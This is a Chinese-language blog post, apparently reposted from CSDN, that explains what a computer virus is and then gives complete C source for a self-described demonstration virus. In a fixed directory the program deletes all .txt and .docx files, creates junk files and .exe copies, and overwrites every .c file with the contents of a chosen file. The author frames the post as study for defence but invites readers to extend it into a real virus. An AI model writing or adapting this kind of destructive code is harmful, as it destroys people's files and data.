C语言编写简单病毒

前言

最近一段时间,由于手头上没有什么要紧的任务,所以有时间能够对计算机病毒这一块的知识进行一个浅显的研究。为什么要对病毒进行了解研究,其实就是为了更好的对付病毒。上学的时候一直以为计算机病毒是一个只有高智商的计算机天才才能够编写出来的东西,后来通过从事编程行业才逐渐觉得编写出一个符合计算机病毒定义的病毒程序并不需要特别高深的知识,需要的钻研精神和耐心以及基础知识就可以了。其实计算机病毒和普通程序并没有太大的不同,只是编写及运行的目的不一样而已。下面就简单写一下病毒的相关概念性知识,明确了概念才能够继续下去。

什么是计算机病毒

计算机病毒(computer virus)是一个程序,一段可执行的代码。

根据《中华人民共和国计算机信息系统安全保护条例》对其定义是“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。

计算机病毒的结构

一般情况下,病毒在结构上分为三个功能模块:感染机制,触发机制,有效载荷(骚扰计算机的方法)。

计算机病毒的编写语言有哪些

计算机病毒的编写语言有C、delphi、汇编、机器码。例如“熊猫烧香”病毒就是用delphi编写的。

自己编写的C语言病毒程序

其实这个病毒程序充其量算一个演示程序,包含了有效载荷以及感染机制两部分,当然,可以在我写的程序上进行拓展以及改写变成真正符合定义的病毒程序。

代码

/*This is a flag:start*/
#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "E:\\TMP"
#define DELETE_FILE1 "E:\\TMP\\*.txt"
#define DELETE_FILE2 "E:\\TMP\\*.docx"
#define CREAT_EXE1 "E:\\TMP\\worm.exe"
#define CREAT_EXE2 "E:\\TMP\\virus.exe"
#define Targetfile "E:\\TMP\\*.c"
#define Virusfile "E:\\E_KILL.c"

void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";

    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }

    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);

}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        copyfile(Virusfile,s[i]);
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
}

void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}

void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );             //制造垃圾文件
    CreatEXE( );                //制造可执行程序
    Remove( );                  //删除文件
    InfectFile( );              //感染文件
    system("pause");
    return 0;
}

简单讲解及运行结果

该病毒目的:
1.将一个指定目录内的所有.c文件感染成指定内容(不是复制/添加病毒自身代码至.c文件)。
2.将该目录下的所有.txt,.docx文件删除。
3.在该目录下制造垃圾文件。
4.在该目录下放置.exe垃圾。

在该病毒运行前,首先自己需要在建立一个实验目录以及一个.c文件。例如我在E盘建立一个TMP文件夹和一个E_ KILL.c 文件。

这里写图片描述

其中E_KILL.c内容如下:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

这里写图片描述

TMP目录内容如下:

这里写图片描述

e.c以及yy.c中内容如下:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

这里写图片描述

这里写图片描述

然后开始运行病毒程序:

这里写图片描述

运行结束后打开TMP文件夹:

这里写图片描述

其中e.c yy.c内容:

这里写图片描述

这里写图片描述

结束

猜你喜欢

转载自blog.csdn.net/wangqingchuan92/article/details/78180956
今日推荐